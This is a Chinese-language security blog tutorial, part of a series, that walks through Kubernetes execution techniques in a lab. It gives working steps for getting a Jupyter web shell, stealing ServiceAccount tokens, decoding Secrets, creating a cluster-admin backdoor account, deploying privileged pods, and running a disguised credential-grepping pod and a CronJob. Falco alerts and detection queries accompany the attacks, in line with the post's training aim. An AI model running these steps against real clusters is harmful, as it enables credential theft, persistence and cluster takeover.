iT邦幫忙

2026 iThome 鐵人賽

DAY 4
1
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 4

Day 4|四種執行手法:Web Shell + kubectl + 部署 Pod + CronJob

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0002 Execution——取得立足點後,攻擊者如何在 K8s 叢集中執行指令。

概覽

場景 ATT&CK 技術 攻擊手法
S04 T1059 Command & Scripting Interpreter Jupyter Notebook 未認證 → Web Shell
S05 T1609 Container Administration Command SA Token → kubectl 控制叢集
S06 T1610 Deploy Container 利用 SA 權限部署特權 Pod
S07 T1053 Scheduled Task/Job CronJob 定期回傳 C2
S08 T1204 User Execution 偽裝成監控工具的惡意 Pod

原理深入:Execution 在攻擊鏈中的定位

Execution 是攻擊鏈中的樞紐階段。Initial Access 只是取得入口(SSRF、洩漏的 kubeconfig),攻擊者真正開始造成損害是在 Execution 階段。在傳統基礎設施中,Execution 通常意味著「執行一個惡意程式」;但在 K8s 環境中,Execution 有更多面向:

傳統環境 K8s 環境

K8s 的 Execution 更危險,因為它是聲明式的——攻擊者不需要在目標機器上「執行」什麼,只需要透過 API 「宣告」一個新的工作負載,K8s 就會自動幫他執行。這也意味著傳統的 endpoint 防護(EDR、AV)很難偵測到這類攻擊。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S04,S05,S06,S07,S08)"

預期結果:

NAME                          READY   STATUS    RESTARTS   AGE
jupyter-insecure-xxx          1/1     Running   0          ...
kubectl-pod-xxx               1/1     Running   0          ...
...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/execution/
kubectl wait --for=condition=Ready pods -l "koad-scenario in (S04,S05,S06,S07,S08)" -n koad --timeout=120s

2. 開啟 Falco 即時監控

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|shell\|kubectl\|privileged\|cronjob"

學習目標

完成本日實作後,你將能夠:

  • 利用未認證的 Jupyter Notebook 取得容器 Shell 並竊取 SA Token
  • 用竊取的 SA Token 在容器內操作 kubectl 控制整個叢集
  • 部署特權 Pod 並驗證其 Capabilities 全開
  • 建立 CronJob 實作自動化持久化
  • 識別偽裝成系統元件的惡意 Pod

S04:Jupyter Web Shell(T1059)

攻擊原理

Jupyter Notebook 是資料科學家常用的工具,但如果部署時沒有設定認證,任何人都可以透過瀏覽器存取——Jupyter 的 Terminal 功能本質上就是一個 Web Shell。

在真實世界中,暴露的 Jupyter Notebook 是最常見的 K8s 入侵入口之一。根據 Aqua Security 2024 年的報告,超過 40% 的 K8s 叢集至少有一個未認證的 Web UI 暴露在外。

攻擊者視角

攻擊者在偵察階段發現暴露的 Jupyter 後,攻擊流程如下:

偵察發現 Jupyter

KOAD 場景

containers:
  - name: jupyter
    image: jupyter/base-notebook:latest
    # 關鍵:取消 token 和密碼認證
    args: ["start-notebook.sh",
           "--NotebookApp.token=''",
           "--NotebookApp.password=''"]
    ports:
      - containerPort: 8888

--NotebookApp.token=''--NotebookApp.password='' 讓 Jupyter 完全不需要認證。

YAML 設計解析

args: ["start-notebook.sh",
       "--NotebookApp.token=''",      # 關閉 Token 認證——任何人可直接存取
       "--NotebookApp.password=''"]   # 關閉密碼認證——連登入頁面都沒有
ports:
  - containerPort: 8888              # Jupyter 預設 port,搭配 NodePort 直接暴露

三個欄位的組合構成完整攻擊面:取消認證讓 Jupyter 變成公開 Web Shell,containerPort 搭配 Service 的 NodePort: 30088 讓它可從叢集外部存取。實務中常見於開發團隊「先跑起來再說」的部署——認證設定從來沒有被加回去。

設計理由

S04 模擬的是最常見的 K8s 入侵入口之一:未認證的 Web UI。Jupyter Notebook 在資料科學團隊中極為普遍,而 Terminal 功能讓它等同於一個完整的 Web Shell。KOAD 選擇 Jupyter 而非 Kubernetes Dashboard 作為場景,因為 Jupyter 在企業環境中更常見、更容易被忽略——管理員通常不會把「資料分析工具」視為安全風險。Tesla 2018 年的挖礦事件正是透過類似入口被攻破的。

動手攻擊

步驟 1–2 在主機終端執行,步驟 3–5 在 Jupyter Terminal(容器內)執行。

步驟 1:取得 Jupyter 存取 URL

# 主機終端
minikube service jupyter-insecure -n koad --url

預期結果:

http://192.168.49.2:30088

Jupyter 透過 NodePort 暴露在 30088,且未設定任何認證機制。攻擊者只需掃到這個連接埠,就能直接存取完整的 Notebook 環境——這等同於一個不需要密碼的 Web Shell 入口。

取得未認證 Jupyter Notebook 的 URL

步驟 2:開啟瀏覽器,進入 Jupyter → New → Terminal

在瀏覽器中打開上述 URL,點擊 NewTerminal,即可取得容器內的 Shell。

開啟 Jupyter Terminal 取得容器 Shell

步驟 3:確認身份

# Jupyter Terminal(容器內)
whoami

預期結果:

jovyan

確認目前使用者身份——jovyan 是 Jupyter 預設使用者,擁有 notebook 容器內的完整權限。

id

預期結果:

uid=1000(jovyan) gid=100(users) groups=100(users)

容器以非 root 使用者 jovyan(uid=1000)運行,看似安全,但這不影響攻擊者讀取自動掛載的 ServiceAccount Token。K8s 預設將 SA Token 掛載到所有 Pod,與容器內的使用者權限無關。

確認容器內的使用者身份

步驟 4:竊取 ServiceAccount Token

cat /var/run/secrets/kubernetes.io/serviceaccount/token

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6Im...

每個 Pod 預設自動掛載 ServiceAccount Token——這個 JWT 可直接用於 API Server 認證,是攻擊者在容器內最容易取得的憑證。

cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

預期結果:

koad

SA Token 就這樣暴露了——攻擊者拿到 Token 後可以用 curl 直接呼叫 K8s API。

Falco 觀察:讀取 SA Token 時,Falco 會觸發告警:

[WARNING] KOAD S04 Read sensitive file (pod=jupyter-insecure file=/var/run/secrets/kubernetes.io/serviceaccount/token)

竊取自動掛載的 ServiceAccount Token

步驟 5:用 curl 列舉叢集資源(不需要 kubectl)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/koad/pods | \
  python3 -c "import sys,json; [print(i['metadata']['name']) for i in json.load(sys.stdin)['items']]"

預期結果:

jupyter-insecure-xxx
attacker-xxx
ssrf-webapp-xxx

不需要安裝 kubectl,僅用 curl 就能列舉同 Namespace 的所有 Pod。這代表攻擊者已取得叢集的偵察能力,可以進一步鎖定高價值目標(如帶有 Secret 掛載的 Pod)。

用 curl 透過 SA Token 列舉 Pod

curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/koad/secrets | \
  python3 -c "import sys,json; [print(i['metadata']['name']) for i in json.load(sys.stdin)['items']]"

預期結果:

database-credentials
default-token-xxx

踩坑提醒:很多安全工具只偵測 kubectl 二進位檔的執行,但攻擊者可以用 curl 達到相同效果。你的偵測規則必須同時覆蓋 API 呼叫本身。

用 curl 列舉 Secrets——不需要 kubectl

Falco 偵測

KOAD S04 Shell in Container
  (container=jupyter pod=jupyter-insecure-xxx ns=koad
   command=bash parent=start-notebook.sh)

Falco 偵測到容器內啟動了 shell process,但 parent process 不是預期的容器 entrypoint。

真實案例:Tesla 2018 Kubernetes 挖礦事件

2018 年 Tesla 的 K8s 叢集被入侵,攻擊者正是透過未認證的 Jupyter Notebook(Kubernetes Dashboard)取得叢集存取權限,隨後部署挖礦程式。該案例完美展示了 S04 → S05 → S35 的攻擊鏈。


S05:kubectl 從已入侵 Pod 控制叢集(T1609)

攻擊原理

如果一個 Pod 的 ServiceAccount 被綁定了過高的 RBAC 權限(例如 cluster-admin),攻擊者只需要在 Pod 內安裝 kubectl,就能完全控制整個叢集。

為什麼 Pod 內會有高權限 SA

在實務中,SA 權限過大的常見原因:

原因 說明
開發便利 「先給 cluster-admin 讓它能跑,之後再縮」
複製貼上 從範例或 Stack Overflow 抄來的 YAML
Helm Chart 預設值 某些 Chart 預設建立高權限 SA
CI/CD Pipeline 部署工具需要建立多種資源
Operator 自訂 Controller 需要 watch 多種資源

這些「暫時」的高權限往往永遠不會被縮減。

KOAD 場景

S05 建立了一個綁定 cluster-admin 的 SA:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: overprivileged-sa
  namespace: koad

---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: koad-overprivileged-binding
subjects:
  - kind: ServiceAccount
    name: overprivileged-sa
    namespace: koad
roleRef:
  kind: ClusterRole
  name: cluster-admin    # ← 最高權限
  apiGroup: rbac.authorization.k8s.io

YAML 設計解析

kind: ClusterRoleBinding          # ClusterRole 而非 Role——權限跨越所有 Namespace
roleRef:
  kind: ClusterRole
  name: cluster-admin             # K8s 內建最高權限角色,等同 root
serviceAccountName: overprivileged-sa  # Pod 自動掛載此 SA 的 Token
command: ["sh", "-c"]
args: ["sleep infinity"]          # 保持 Pod 存活,等待攻擊者 exec 進入

關鍵設計:使用 ClusterRoleBinding(而非 RoleBinding)綁定 cluster-admin,讓這個 SA 的 Token 能操作所有 Namespace 的所有資源。Pod 使用 bitnami/kubectl 映像,預裝 kubectl 工具——攻擊者進入後不需要額外安裝任何東西就能操作叢集。sleep infinity 確保 Pod 不會退出,隨時可以被 exec 進入。

設計理由

S05 模擬的是企業環境中最普遍的 RBAC 錯誤配置:ServiceAccount 被賦予過高權限。在實務中,開發者經常為了「讓 Pod 能正常運作」而綁定 cluster-admin,特別是在 CI/CD Pipeline、Operator 和 Helm Chart 中。KOAD 刻意讓 SA 綁定最高權限,展示「一個過度授權的 SA」如何讓攻擊者從單一 Pod 跳躍到完全控制叢集——包括讀取所有 Secret、建立後門、甚至刪除 Node。

動手攻擊

步驟 1 從主機進入 Pod,步驟 2–5 在 Pod 內執行。

步驟 1:進入 kubectl Pod

# 主機終端
kubectl exec -it -n koad deploy/kubectl-pod -- sh

預期結果:

/ #

成功進入 Pod 的 shell。這個 Pod 內預裝了 kubectl,且其 ServiceAccount 綁定了 cluster-admin——攻擊者從這裡開始,就像拿到了叢集的「管理員終端機」。

進入已安裝 kubectl 的攻擊者 Pod

步驟 2:確認權限

# 容器內 (kubectl-pod)
kubectl auth can-i --list | head -5

預期結果:

Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

*.* + [*] 代表 cluster-admin,可以對所有資源做任何操作。

確認 SA 擁有 cluster-admin 權限

步驟 3:列舉所有 Namespace

kubectl get ns

預期結果:

NAME              STATUS   AGE
default           Active   2h
falco             Active   1h
koad              Active   2h
koad-production   Active   2h
kube-system       Active   2h
kyverno           Active   1h

攻擊者已能列舉所有 Namespace,包括 kube-systemkoad-production。這意味著攻擊範圍不限於目前 Namespace——cluster-admin 讓攻擊者可以跨 Namespace 存取任何資源。

列舉叢集中所有 Namespace

步驟 4:讀取所有 Secrets

kubectl get secrets -A

預期結果:

NAMESPACE         NAME                    TYPE     DATA   AGE
koad              database-credentials    Opaque   2      2h
koad-production   production-db-creds     Opaque   3      2h

一個 kubectl get secrets -A 就暴露了所有 Namespace 的 Secret 名稱。攻擊者現在知道 database-credentialsproduction-db-creds 的存在,下一步就是解碼取得明文憑證。

列出所有 Namespace 的 Secrets

步驟 5:取得 Secret 內容

kubectl get secret database-credentials -n koad -o jsonpath='{.data}' | base64 -d

預期結果:

{"password":"super_secret_db_password","username":"admin"}

kubectl get ns 到讀取 Secret 內容,攻擊者在幾秒內完成「容器存取」到「叢集完全控制」的跳躍。

Falco 觀察:容器內執行 kubectl 會觸發 Critical 告警:

[CRITICAL] KOAD S05 kubectl Execution in Container (pod=kubectl-pod command=kubectl get secrets -A)

解碼 Secret 內容取得明文密碼

攻擊者的進階操作

取得 cluster-admin 後,攻擊者通常會建立持久化後門:

kubectl create sa backdoor-sa -n kube-system

預期結果:

serviceaccount/backdoor-sa created

在 kube-system namespace 建立了後門 ServiceAccount——接下來要將 cluster-admin 權限綁定給它。

kubectl create clusterrolebinding backdoor-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:backdoor-sa

預期結果:

clusterrolebinding.rbac.authorization.k8s.io/backdoor-binding created

後門 SA 已綁定 cluster-admin——攻擊者現在可以用這個 SA 的 Token 完全控制叢集。

kubectl create token backdoor-sa -n kube-system --duration=8760h

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6...(長期有效的 Token)

防禦者視角:如果你在 Audit Log 中看到從 Pod IP 發出的 list secretscreate clusterrolebinding 請求,這幾乎百分之百是攻擊行為——正常應用不會做這些操作。

建立持久化後門 SA 和 ClusterRoleBinding

Falco 偵測

KOAD S05 kubectl Execution in Container
  (container=kubectl pod=kubectl-pod-xxx ns=koad
   command=kubectl get pods -n koad)

攻擊鏈測試中,Falco 為 kubectl 操作產生了 30 筆 Critical 告警


S06:部署特權攻擊 Pod(T1610)

攻擊原理

如果攻擊者擁有在 namespace 中建立 Pod 的權限,就能部署一個特權容器(privileged: true),取得接近宿主機 root 的能力。

特權容器的危險程度

普通容器 特權容器

特權容器本質上只是在容器的「外殼」裡運行一個宿主機等級的 process。

YAML 設計解析

S06 的 ConfigMap 中內嵌了攻擊 Pod 的模板,拆解關鍵欄位:

spec:
  hostPID: true          # 共用宿主機 PID namespace——可以看到、操作所有 host process
  hostNetwork: true      # 共用宿主機網路——繞過所有 NetworkPolicy、直接存取 Node 網段
  containers:
    - securityContext:
        privileged: true # 取得全部 Linux Capabilities + 存取所有 /dev 裝置
      volumeMounts:
        - mountPath: /host   # 宿主機根目錄掛載到 /host
  volumes:
    - hostPath:
        path: /              # 掛載宿主機完整檔案系統
        type: Directory

四層攻擊配置堆疊:privileged 取得所有 Capabilities,hostPID 突破 process 隔離,hostNetwork 繞過網路限制,hostPath: / 讓宿主機檔案系統完全可讀寫。任何一層都足以構成嚴重風險,四層疊加等同於直接在宿主機上取得 root shell。

設計理由

S06 展示攻擊鏈中的關鍵跳躍:從「API 層面的存取」到「宿主機層面的控制」。在真實攻擊中,攻擊者取得 create pods 權限後的第一步就是部署特權容器。KOAD 將攻擊模板放在 ConfigMap 中,模擬攻擊者預先準備好的工具包——kubectl apply -f 一行指令就完成從容器到宿主機的逃逸。這也是為什麼 Admission Controller(Kyverno/OPA)阻擋特權 Pod 是 CKS 的重點考試領域。

Linux Capabilities 對照表

CapEff: 000001ffffffffff 代表的完整 capabilities:

Capability 用途 攻擊利用
CAP_SYS_ADMIN 掛載檔案系統、namespace 操作 掛載宿主機 / 逃逸
CAP_SYS_PTRACE trace 其他 process 注入 shellcode
CAP_NET_ADMIN 網路配置 中間人攻擊
CAP_DAC_OVERRIDE 繞過檔案權限 讀取任意檔案
CAP_SYS_RAWIO 原始 I/O 操作 直接存取磁碟
CAP_SYS_MODULE 載入核心模組 rootkit

動手攻擊

以下步驟從已入侵的 kubectl Pod 內(S05 延續)或主機終端執行。

步驟 1:從已入侵的 kubectl Pod 部署特權容器

# 容器內 (kubectl-pod) 或 主機終端
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: attacker-priv
  namespace: koad
spec:
  containers:
    - name: attacker
      image: ubuntu:22.04
      command: ["sleep", "infinity"]
      securityContext:
        privileged: true
EOF

預期結果:

pod/attacker-priv created

攻擊者利用 SA 的 create pods 權限,部署了一個 privileged: true 的容器。K8s 忠實地執行了這個「合法」的 API 請求——沒有 Admission Controller(如 Kyverno/OPA)攔截,特權 Pod 就這樣被建立了。

Falco 觀察:特權 Pod 建立時,Falco 立即告警:

[CRITICAL] KOAD S13 Privileged Container Started (pod=attacker-priv)

部署特權容器

步驟 2:確認特權模式

kubectl exec attacker-priv -- cat /proc/self/status | grep CapEff

預期結果:

CapEff: 000001ffffffffff

000001ffffffffff 表示容器擁有全部 Linux Capabilities——和宿主機 root 幾乎相同。

確認特權容器的 Capabilities 全部啟用

步驟 3:驗證可以存取宿主機裝置

kubectl exec attacker-priv -- ls /dev | head -20

預期結果:

core
cpu
cpu_dma_latency
...
sda
sda1

可以看到 /dev/sda1——接下來就可以進行 Day 8-11 的容器逃逸。

列出宿主機裝置——特權容器可見所有 block device

為什麼 kubectl auth can-i create pods 很危險

kubectl auth can-i create pods -n koad

預期結果:

yes

能建立 Pod = 能部署特權容器 = 能逃逸到宿主機。這就是為什麼 CKS 考試強調 RBAC 最小權限——不要隨便給 create pods 權限。

不用 privileged 的替代手法

經驗豐富的攻擊者不一定需要 privileged: true,以下配置也能達到逃逸效果:

# 方法 1:直接掛載宿主機根目錄
spec:
  volumes:
    - name: host-root
      hostPath:
        path: /
  containers:
    - volumeMounts:
        - name: host-root
          mountPath: /host

# 方法 2:給予特定 capabilities
spec:
  containers:
    - securityContext:
        capabilities:
          add: ["SYS_ADMIN", "SYS_PTRACE"]

# 方法 3:hostPID + SYS_PTRACE
spec:
  hostPID: true
  containers:
    - securityContext:
        capabilities:
          add: ["SYS_PTRACE"]

CKS 考點:CKS 考試常考「以下哪個 Pod spec 可能導致容器逃逸」,正確答案往往不只是 privileged: true,還包括上述各種組合。


S07:CronJob 持久化(T1053)

攻擊原理

CronJob 是 K8s 原生的排程機制。攻擊者可以建立看似正常的 CronJob(命名為 system-metrics-collector),實際上每 5 分鐘回呼 C2 伺服器。

為什麼 CronJob 是理想的持久化手段

特性 對攻擊者的好處
K8s 原生 不需要在 Node 上安裝任何東西
自動重啟 即使 Pod 被刪除,CronJob 會重新建立
命名偽裝 可以取系統風格的名稱
日誌分散 每次執行是新 Pod,日誌不連續
權限繼承 使用指定的 ServiceAccount

KOAD 場景

apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-metrics-collector    # ← 偽裝成系統元件
  namespace: koad
  labels:
    app.kubernetes.io/component: monitoring    # ← 偽裝 label
    app.kubernetes.io/managed-by: prometheus   # ← 偽裝為 Prometheus 管理
spec:
  schedule: "*/5 * * * *"           # ← 每 5 分鐘執行一次
  successfulJobsHistoryLimit: 1     # ← 只保留 1 個成功記錄,減少暴露
  failedJobsHistoryLimit: 1
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: overprivileged-sa    # ← 繼承高權限
          containers:
            - name: collector
              image: curlimages/curl:latest
              command: ["/bin/sh", "-c"]
              args:
                - |
                  echo "[KOAD-S07] Simulated C2 callback at $(date)"
                  echo "In a real attack, this would:"
                  echo "  - Phone home to C2 server"
                  echo "  - Execute downloaded payloads"
                  echo "  - Exfiltrate collected data"
          restartPolicy: OnFailure

YAML 設計解析

metadata:
  name: system-metrics-collector      # 偽裝命名——看起來像合法的 Prometheus 元件
schedule: "*/5 * * * *"               # 每 5 分鐘觸發——維持 C2 通道的心跳頻率
successfulJobsHistoryLimit: 1         # 只保留最近 1 次記錄——減少 kubectl get jobs 暴露
failedJobsHistoryLimit: 1             # 失敗也只留 1 筆——降低被異常排查發現的機率
image: curlimages/curl:latest         # 最小化映像——只需 curl 就能回傳 C2
serviceAccountName: overprivileged-sa # 繼承高權限——C2 回呼時可順便竊取叢集資料
restartPolicy: OnFailure              # 失敗自動重試——確保 C2 通道的可靠性

整體設計模擬了真實攻擊者的操作手法:命名偽裝讓管理員忽略、短歷史記錄減少暴露面、輕量映像降低被掃描的機率。*/5 * * * * 的排程頻率在正常監控系統中偏高但不異常,剛好落在「不會立即引起注意」的灰色地帶。

設計理由

S07 模擬的是 K8s 環境中最隱蔽的持久化手法。CronJob 是 K8s 原生資源,不需要在 Node 上安裝任何東西,也不會觸發傳統的 endpoint 防護。攻擊者刪除了初始入侵的 Pod,CronJob 仍會持續執行——而且每次執行都是新的 Pod,日誌不連續、難以追蹤。KOAD 選擇 curlimages/curl 而非更完整的攻擊工具映像,展示攻擊者只需要最小化的工具就能維持持久化。

動手攻擊

# 建立 CronJob
$ kubectl apply -f cronjob-c2.yaml

# 等待觸發(或手動觸發)
$ kubectl create job --from=cronjob/system-metrics-collector test-run -n koad

# 查看執行結果
$ kubectl logs -n koad job/test-run
[KOAD-S07] Simulated C2 callback at Mon Aug 19 10:30:00 UTC 2026

偵測重點

# 列出所有 CronJob
$ kubectl get cronjobs -n koad
NAME                       SCHEDULE       SUSPEND   ACTIVE
etcd-backup                0 */6 * * *    False     0
system-metrics-collector   */5 * * * *    False     0

# 檢查 CronJob 的映像和指令(關鍵偵測手法)
$ kubectl get cronjobs -A -o json | \
    jq '.items[] | {
      name: .metadata.name,
      ns: .metadata.namespace,
      schedule: .spec.schedule,
      image: .spec.jobTemplate.spec.template.spec.containers[0].image,
      sa: .spec.jobTemplate.spec.template.spec.serviceAccountName
    }'

system-metrics-collector 看起來很正常,但 */5 * * * * 的高頻率排程加上 curlimages/curl 映像值得懷疑。偵測 CronJob 異常的指標:

指標 正常值 可疑值
排程頻率 每天/每週 每分鐘/每 5 分鐘
使用映像 業務應用映像 curl/wget/busybox/alpine
SA 權限 最小權限 cluster-admin
建立者 CI/CD Pipeline Pod 內的 kubectl
建立時間 工作時間 凌晨 / 週末

S08:釣魚引導執行(T1204)

攻擊原理

攻擊者建立一個看起來像合法監控工具的 Deployment(prometheus-node-monitor),誘導管理員認為這是正常的系統元件。

偽裝手法拆解

apiVersion: apps/v1
kind: Deployment
metadata:
  name: prometheus-node-monitor    # ← 偽裝成 Prometheus 元件
  namespace: koad
  labels:
    app: prometheus-node-monitor
    app.kubernetes.io/component: monitoring    # ← 標準 K8s label
    app.kubernetes.io/part-of: prometheus      # ← 假裝屬於 Prometheus
    app.kubernetes.io/managed-by: helm         # ← 假裝由 Helm 部署
  annotations:
    # 假的 Helm 資訊讓 kubectl describe 看起來更像合法部署
    meta.helm.sh/release-name: prometheus
    meta.helm.sh/release-namespace: monitoring
spec:
  replicas: 1
  selector:
    matchLabels:
      app: prometheus-node-monitor
  template:
    spec:
      containers:
        - name: monitor
          image: busybox:1.36
          command: ["/bin/sh", "-c"]
          args:
            - |
              while true; do
                # 攻擊者的真正負載:竊取環境變數中的憑證
                env | grep -i -E '(password|key|token|secret)' > /tmp/creds.txt
                # 模擬 C2 回傳
                echo "$(date) [KOAD-S08] Exfiltrating credentials"
                sleep 300
              done

管理員看到名稱和 label 會認為「這是監控團隊部署的」,不會懷疑。但實際上這個 Pod 可能在執行惡意操作。

YAML 設計解析

metadata:
  name: prometheus-node-monitor                  # 偽裝成 Prometheus 元件名稱
  labels:
    app.kubernetes.io/component: monitoring      # 標準 K8s label——通過 label 篩選
    app.kubernetes.io/part-of: prometheus         # 假裝屬於 Prometheus 堆疊
    app.kubernetes.io/managed-by: helm            # 假裝由 Helm 部署——管理員不會質疑
  annotations:
    meta.helm.sh/release-name: prometheus         # 讓 helm list 看起來正常
    meta.helm.sh/release-namespace: monitoring    # 偽造 release namespace
spec:
  containers:
    - image: busybox:1.36                         # 實際映像與名稱不符——核心漏洞
      ports:
        - containerPort: 9090
          name: metrics                           # 偽裝成 Prometheus metrics port
      resources:
        requests:
          cpu: "50m"
          memory: "64Mi"                          # 刻意設低——避免觸發資源告警

偽裝的核心在「名稱-映像不一致」:一個叫 prometheus-node-monitor 的 Pod 卻用 busybox 映像。管理員用 kubectl get pods 只會看到名稱,不會注意映像。偽造的 Helm annotations 更進一步——連 helm listkubectl describe 都看不出破綻。

設計理由

S08 模擬的是社會工程在 K8s 環境中的變體——不是欺騙人點擊連結,而是欺騙管理員相信一個惡意 Pod 是合法的系統元件。在大型叢集中,監控相關的 Pod(Prometheus、Grafana、node-exporter)數量多、分布廣,管理員早已習慣看到這些名稱。KOAD 選擇偽裝成 Prometheus 元件,因為它是 K8s 生態中最普遍的監控工具——幾乎每個生產叢集都有,管理員不會對多一個 Prometheus Pod 感到意外。

常見偽裝模式

偽裝目標 命名模式 為什麼有效
Prometheus prometheus-, node-exporter- 監控 Pod 到處都是
Istio istio-proxy-, envoy- Sidecar 數量多
Cert Manager cert-manager-, acme- 看似例行作業
Logging fluentd-, filebeat- DaemonSet 每 Node 都有
kube-system kube-proxy-, coredns- 系統元件不會被懷疑

偵測方法

# 找出不屬於已知 Helm Release 的 Pod
kubectl get pods -A -o json | \
  jq '.items[] | select(
    (.metadata.annotations // {} | has("meta.helm.sh/release-name")) and
    (.metadata.namespace != "monitoring")
  ) | {name: .metadata.name, ns: .metadata.namespace}'

# 比對映像與命名的一致性
# prometheus-node-monitor 用的是 busybox 而不是 prom 映像 → 可疑!
kubectl get pods -A -o json | \
  jq '.items[] | {
    name: .metadata.name,
    image: .spec.containers[0].image
  } | select(.name | test("prometheus|monitor")) |
  select(.image | test("prom|grafana") | not)'

ATT&CK 攻擊鏈視角

Execution 階段是攻擊的轉折點——從「取得存取」變成「開始操作」:

TA0001 Initial Access

攻擊者的決策樹

攻擊者的決策樹


偵測總結

場景 Falco 規則 偵測方式 嚴重程度
S04 KOAD S04 Shell in Container 偵測容器內 shell 啟動 WARNING
S05 KOAD S05 kubectl Execution 偵測容器內 kubectl 執行 CRITICAL
S06 KOAD S13 Privileged Container 偵測特權容器啟動 CRITICAL
S07 K8s Audit Log 偵測 CronJob 建立 ALERT
S08 Image 掃描 + 部署審核流程 WARNING

Audit Log 搭配偵測

# 在 API Server audit log 中搜尋可疑的 Execution 操作
# 這些動詞 + 資源組合幾乎等於攻擊行為:
grep -E '"verb":"create".*"resource":"(pods|cronjobs|jobs|deployments)"' \
  /var/log/kubernetes/audit/audit.log | \
  jq 'select(.user.username | startswith("system:serviceaccount:koad:"))'

CKS 考點對照

考點 本日內容 權重
Container 安全 特權容器的危險性 System Hardening 15%
RBAC 最小權限 SA 過度授權 → 叢集控制 Cluster Hardening 15%
Audit Logging 偵測異常 API 呼叫 Monitoring 20%
Admission Control 阻擋特權 Pod 建立 Minimize Microservice 20%

CKS 模擬題

題目:你發現一個在 koad Namespace 中的 Pod 正在執行 kubectl get secrets -A。請說明你會如何調查此事件。

參考答案

  1. 確認 Pod 的 ServiceAccount:kubectl get pod <name> -o jsonpath='{.spec.serviceAccountName}'
  2. 檢查 SA 的 RBAC 綁定:kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "<sa>")'
  3. 檢查 Audit Log 中該 SA 的所有操作
  4. 如果確認異常,隔離 Pod(NetworkPolicy)並保留證據
  5. 縮減 SA 權限並刪除不必要的 ClusterRoleBinding

清理與重設

完成攻擊演練後,清理攻擊過程中建立的資源:

# 主機終端(或從 kubectl-pod 內執行)
# 刪除 S06 部署的特權 Pod
kubectl delete pod attacker-priv -n koad --ignore-not-found

# 刪除 S05 建立的後門 SA 和 ClusterRoleBinding
kubectl delete sa backdoor-sa -n kube-system --ignore-not-found
kubectl delete clusterrolebinding backdoor-binding --ignore-not-found

# 刪除 S07 建立的 CronJob
kubectl delete cronjob system-metrics-collector -n koad --ignore-not-found
kubectl delete job test-run -n koad --ignore-not-found

# 如果還在容器內,退出回到主機
exit

攻擊場景的原始 Pod(jupyter-insecure、kubectl-pod)不需要刪除,它們是靶場的一部分。


常見問題排除

問題 原因 解法
Jupyter Notebook 頁面打不開 NodePort 未暴露或 Pod 未就緒 minikube service jupyter-insecure -n koad --url 取得 URL;確認 Pod 為 Running
容器內找不到 SA Token K8s 1.24+ 不自動建立 Secret 型 Token Token 在 /var/run/secrets/kubernetes.io/serviceaccount/token(Bound Token),用 cat 讀取
kubectl 指令回傳 Forbidden SA 權限不足或用錯 ServiceAccount kubectl auth can-i --list 檢查目前權限;確認 Pod 使用正確的 SA(`kubectl get pod -o yaml
CronJob 沒有產生 Pod schedule 格式錯誤或 CronJob 被暫停 kubectl get cronjob -n koad 確認 SUSPEND 欄位為 False;kubectl describe cronjob 查看 Events
exec 進入 Pod 後指令沒反應 容器內沒有 shell 或 image 是 distroless 嘗試 kubectl exec -it <pod> -- /bin/sh;distroless 映像無法 exec

本日小結

你完成了什麼

  • [x] 透過未認證 Jupyter Notebook 取得容器 Shell(S04)
  • [x] 在容器內竊取 SA Token 並用 curl 列舉叢集資源(S04)
  • [x] 用 kubectl 從已入侵 Pod 控制整個叢集(S05)
  • [x] 讀取並解碼 Secret 取得明文密碼(S05)
  • [x] 部署特權 Pod 並驗證 Capabilities 全開(S06)
  • [x] 建立 CronJob 實作持久化(S07)
  • [x] 識別偽裝命名 + 假 label 的惡意 Pod(S08)
  • [x] 觀察 Falco 對 shell 啟動、kubectl 執行、特權容器的告警

完成度自我檢查

  • [ ] 能透過 S04 Jupyter Notebook 取得容器 Shell 並讀取 SA Token
  • [ ] 能在 S05 場景中用 kubectl 列舉叢集資源並讀取 Secret
  • [ ] 能執行 S06 部署特權 Pod 並用 capsh --print 確認 Capabilities 全開
  • [ ] 能建立 S07 CronJob 並觀察其自動重啟行為
  • [ ] 能識別 S08 釣魚 Pod 的命名偽裝模式(如 kube-proxy-xxx
  • [ ] 能從 Falco 告警中區分 shell 啟動、kubectl 執行、特權容器三類事件
  • [ ] 能解釋為什麼 K8s Execution 手法都是「合法 API 操作」而非漏洞利用

關鍵帶走

  1. Web Shell:未認證的 Jupyter Notebook = 即插即用的 Shell
  2. kubectl:一個 cluster-admin 的 SA 就讓攻擊者控制整個叢集
  3. Deploy Pod:能建 Pod 就能建特權容器,接著就能逃逸
  4. CronJob:K8s 原生排程 = 免費的 Persistence,而且會自動重啟
  5. 釣魚 Pod:偽裝命名 + 假 label 讓惡意工作負載隱身

每一種手法都是「合法的 K8s 操作」,這就是 K8s 安全最困難的地方——攻擊者不需要漏洞利用,只需要權限濫用。

下一步

明天 Day 5 防禦篇:Admission Control(Kyverno 阻擋特權 Pod)+ RBAC 最小權限設計。



上一篇
Day 3|防禦初始存取:API Server 強化 + NetworkPolicy 邊界
下一篇
